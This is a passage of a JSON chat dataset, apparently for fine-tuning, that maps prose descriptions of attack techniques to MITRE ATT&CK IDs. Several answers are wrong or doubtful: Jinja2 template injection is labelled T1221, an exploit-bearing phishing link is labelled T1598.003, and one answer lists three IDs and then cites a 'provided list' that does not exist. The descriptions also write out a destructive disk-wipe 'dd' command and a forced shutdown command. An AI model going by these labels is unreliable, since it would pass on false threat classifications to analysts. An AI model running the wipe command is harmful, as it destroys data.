    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates harvested data by posting JSON payloads to an attacker‑controlled HTTP webhook endpoint."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor queries the Windows Registry for proxy settings stored under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits overly permissive IAM roles attached to a Lambda function to retrieve sensitive credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Office add‑in writes a new Outlook Home Page URL into the user’s profile, causing Outlook to display a fake login page at startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears the system's network connection history and removes any residual configuration files to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised legitimate domain to host a malicious landing page; the phishing email included a link to this page, which exploited a browser vulnerability to execute code."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the Win32_StoredCredential WMI class to read stored network credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hides malicious executable code within the pixel data of a PNG image to exfiltrate data without detection."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a utility to modify the file signature of a keylogger, making the OS identify it as a standard system driver file (.sys)."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat creates a new digital certificate authority within a victim network to issue signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that installs a cryptomining binary, encrypting the output and sending it to a command server."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell to invoke New-LocalUser and sets a password for the new account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltrating sensitive data using encrypted communication channels"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution\nT1573 - Encrypted Channel\nT1049 - System Network Connections Discovery\n\nHowever, since you requested **only one** MITRE ATT&CK ID and Name in the format: \"ID# - Technique\", and based on the behavior described — *exfiltrating sensitive data using encrypted communication channels* — the most accurate and specific technique from your provided list is:\n\nT1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers chain multiple proxy servers, routing traffic through several hops before reaching the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects code into existing user mode processes to maintain access to sensitive information, which technique does this describe?"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 communication includes data that has been URL-encoded to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor replaced the auditd binary with a compromised version that never writes logs."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant receives a compressed and encrypted configuration file, which it decrypts using AES before applying the settings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates custom email rules that automatically move malicious messages to a hidden folder, preventing detection by analysts."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script queries the operating system for the current date and time to determine if the target is using a specific patch level."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted Jinja2 template, the threat actor injects commands that the application evaluates when rendering the page."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the \"netstat -p tcp\" command to identify remote IP addresses and ports in use."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the service's ImagePath in the registry with weak permissions, the threat actor can execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a brute-force technique to crack WPA2-PSK passwords on a wireless network."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": " Utilizing standard networking protocols in an unintended manner facilitates lateral movement for attackers, who can blend their actions with normal network traffic."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a legitimate installer package that was repackaged and obfuscated with AV evasion techniques, such as randomizing resource names and encrypting embedded binaries."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into a legitimate process and then kills the original process, causing the malicious code to appear as part of the trusted process."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a malicious macro within an Excel spreadsheet by leveraging unused cells and formatting tags."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using VNC over SSH tunneling, the intruder accesses the target's graphical interface to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit abuses DDE to transfer malicious data between processes, allowing execution of arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware communicates with its C2 server over HTTPS, embedding commands in the response body."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves creating a rogue virtual directory in IIS that points to a network share containing ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign leverages a Windows service to encrypt files on shared network drives, then contacts a C2 server for payment instructions."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan encrypts outbound data using a public key, ensuring only the receiver can decrypt it."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing credentials, the attacker wipes out the stolen data files to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects counterfeit alerts into the SIEM, making it appear as if an unrelated process is compromised."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends small DNS query requests to open resolvers with a spoofed source IP of the victim, causing massive DNS response traffic to flood the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat writes malicious code to the EFI System Partition, hijacking the boot process on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a DLL that reads Windows Credential Manager entries to gather user authentication data."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes public WHOIS lookup tools to collect domain registration details as part of their reconnaissance phase."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing credentials, the adversary runs a bash script that loops over \"dd if=/dev/zero of=/dev/sdb bs=1M\" to overwrite the entire secondary drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copied a legitimate service binary name and stored their payload in a similarly named file in a trusted directory."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replay a captured session cookie to gain unauthorized access to privileged web resources."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor reuses a stolen NTLM hash to move laterally across the network, bypassing multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses credential dumping to obtain sensitive login credentials?"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages open PKI databases to discover and download digital certificates tied to target subdomains."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the Windows SAM registry hive to list local security groups for privilege mapping."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team executed a WMI query to retrieve the list of running processes, then filtered for suspicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries infiltrate a CI/CD pipeline and add a malicious script that runs during the build process of a commercial software product."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sets up a TFTP server hosting a compromised OS image and alters the boot configuration of the victim system to retrieve this image during the pre‑boot environment."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group extracts service account passwords from a shared network drive containing plaintext credential documents."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits the email service's delegation feature to assign themselves additional permissions on a user's email account."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker develops a new banking Trojan to facilitate credential theft."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit abuses the SMB protocol to access the hidden ADMIN$ share and install a persistent backdoor."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group employs Mavinject to spawn a remote thread in a legitimate signed binary, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script scanned cloud storage buckets for CSV files and downloaded them to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing the Windows Task Scheduler's 'runas' option to launch a payload with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant calls the GetSystemInfo API and examines the number of processors; if only one logical CPU is found, it assumes a sandbox and exits."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls Windows API functions directly to execute code without using higher-level scripting languages."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary manipulates the Windows \"AppLocker\" policy to bypass restrictions and run a privileged executable."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware drops a batch file that calls 'shutdown -r -f -t 5' to force a restart after encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group queries WHOIS and SSL certificate transparency logs to discover email contacts associated with the victim's domains."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain unauthorized access to a mail server by brute‑forcing admin passwords."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of a legitimate development utility as a proxy to run unauthorized commands on a victim system."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Verclsid.exe as a proxy, the adversary runs encrypted shellcode that decrypts and executes additional malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a signed binary to uninstall the endpoint detection and response (EDR) solution from the host."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script reads the /etc/shadow file for hashed passwords and references /etc/passwd for user details."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is commanded to generate a high-rate TCP flood targeting a specific IP address, leading to a direct network denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a man-in-the-middle on the RDP channel and reestablishes the session under their own control."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes unused cloud availability zones to launch persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DDE, the attacker sends a custom message that causes the victim's Word application to run a downloaded executable."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups obtain Azure Functions credentials and deploy a function that opens a reverse SSH tunnel to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the attacker used VNC to capture screenshots and monitor user activity in real time."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors obtain a user's Kerberos ticket granting ticket (TGT) and use it to access domain resources as a legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercrime group creates a self-signed certificate with similar attributes to a trusted vendor to trick users."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
